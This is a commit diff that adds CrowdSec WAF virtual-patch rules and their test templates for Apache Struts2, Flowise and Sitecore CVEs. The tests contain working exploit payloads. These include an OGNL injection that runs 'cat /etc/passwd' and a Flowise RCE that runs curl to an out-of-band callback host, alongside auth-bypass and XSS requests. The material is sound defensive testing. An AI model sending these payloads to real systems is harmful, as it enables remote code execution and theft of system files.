Add vpatch-CVE-2021-31805 rule and test

.appsec-tests/vpatch-CVE-2021-31805/CVE-2021-31805.yaml

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+## autogenerated on 2026-07-01 13:05:02
+id: CVE-2021-31805
+info:
+  name: CVE-2021-31805
+  author: crowdsec
+  severity: info
+  description: CVE-2021-31805 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
+        Content-Length: 1095
+
+        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF
+        Content-Disposition: form-data; name="id"
+
+        %{
+        (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
+        (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
+        (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
+        (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
+        (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
+        (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
+        (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
+        (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
+        (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))
+        }
+
+        ------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2021-31805/config.yaml

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+## autogenerated on 2026-07-01 13:05:02
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2021-31805.yaml
+nuclei_template: CVE-2021-31805.yaml

.appsec-tests/vpatch-CVE-2024-8181/CVE-2024-8181.yaml

@@ -0,0 +1,20 @@
+## autogenerated on 2026-06-12 09:15:02
+id: CVE-2024-8181
+info:
+  name: CVE-2024-8181
+  author: crowdsec
+  severity: info
+  description: CVE-2024-8181 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        GET /api/v1/apikey?/api/v1/ping HTTP/1.1
+        Host: {{Hostname}}
+        Accept: application/json, text/plain, */*
+        Referer: {{RootURL}}/document-stores
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2024-8181/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2026-06-12 09:15:02
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2024-8181.yaml
+nuclei_template: CVE-2024-8181.yaml

.appsec-tests/vpatch-CVE-2025-53693/CVE-2025-53693.yaml

@@ -0,0 +1,21 @@
+## autogenerated on 2026-06-12 11:09:27
+id: CVE-2025-53693
+info:
+  name: CVE-2025-53693
+  author: crowdsec
+  severity: info
+  description: CVE-2025-53693 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /-/xaml/Sitecore.Shell.Applications.Dialogs.ItemLister.ItemLister HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        __SOURCE=ItemLister&__PARAMETERS={"method":"AddToCache","parameters":["sitecore_cache_test_123456","<script>alert('CVE-2025-53693')</script>"]}
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2025-53693/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2026-06-12 11:09:27
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2025-53693.yaml
+nuclei_template: CVE-2025-53693.yaml

.appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml

@@ -0,0 +1,22 @@
+## autogenerated on 2026-06-17 10:34:05
+id: CVE-2025-59528
+info:
+  name: CVE-2025-59528
+  author: crowdsec
+  severity: info
+  description: CVE-2025-59528 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /api/v1/node-load-method/customMCP HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        x-request-from: internal
+
+        {"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"curl {{interactsh-url}}\");return 1;})()})"}}
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2025-59528/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2026-06-17 10:34:05
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
+nuclei_template: CVE-2025-59528.yaml

appsec-rules/crowdsecurity/vpatch-CVE-2021-31805.yaml

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+## autogenerated on 2026-07-01 13:05:02
+name: crowdsecurity/vpatch-CVE-2021-31805
+description: 'Detects Apache Struts2 S2-062 remote code execution via forced OGNL evaluation in multipart form-data.'
+rules:
+  - and:
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: '%{'
+      - zones:
+          - RAW_BODY
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: 'org.apache.tomcat.instancemanager'
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Apache Struts2 - RCE'
+  classification:
+    - cve.CVE-2021-31805
+    - attack.T1190
+    - cwe.CWE-917

appsec-rules/crowdsecurity/vpatch-CVE-2024-8181.yaml

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+## autogenerated on 2026-06-12 09:15:02
+name: crowdsecurity/vpatch-CVE-2024-8181
+description: 'Detects authentication bypass in Flowise <= 1.8.2 by matching unauthorized access to sensitive API endpoints.'
+rules:
+  - and:
+      - zones:
+          - URI_FULL
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: '/api/v1/apikey?/api/v1/ping'
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Flowise - Authentication Bypass'
+  classification:
+    - cve.CVE-2024-8181
+    - attack.T1190
+    - cwe.CWE-287

appsec-rules/crowdsecurity/vpatch-CVE-2025-53693.yaml

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+## autogenerated on 2026-06-12 11:09:27
+name: crowdsecurity/vpatch-CVE-2025-53693
+description: 'Detects Sitecore XAML AjaxScriptManager cache poisoning via AddToCache reflection method.'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: '/-/xaml/'
+      - zones:
+          - BODY_ARGS
+        variables:
+          - __parameters
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: 'addtocache'
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Sitecore - Cache Poisoning'
+  classification:
+    - cve.CVE-2025-53693
+    - attack.T1190
+    - cwe.CWE-20

appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml

@@ -0,0 +1,34 @@
+## autogenerated on 2026-06-17 10:34:05
+name: crowdsecurity/vpatch-CVE-2025-59528
+description: 'Detects Flowise CustomMCP node RCE via unsafe evaluation in convertToValidJSONString.'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: /api/v1/node-load-method/custommcp
+      - zones:
+          - BODY_ARGS
+        variables:
+          - json.inputs.mcpserverconfig
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: 'function('
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Flowise - RCE'
+  classification:
+    - cve.CVE-2025-59528
+    - attack.T1190
+    - cwe.CWE-94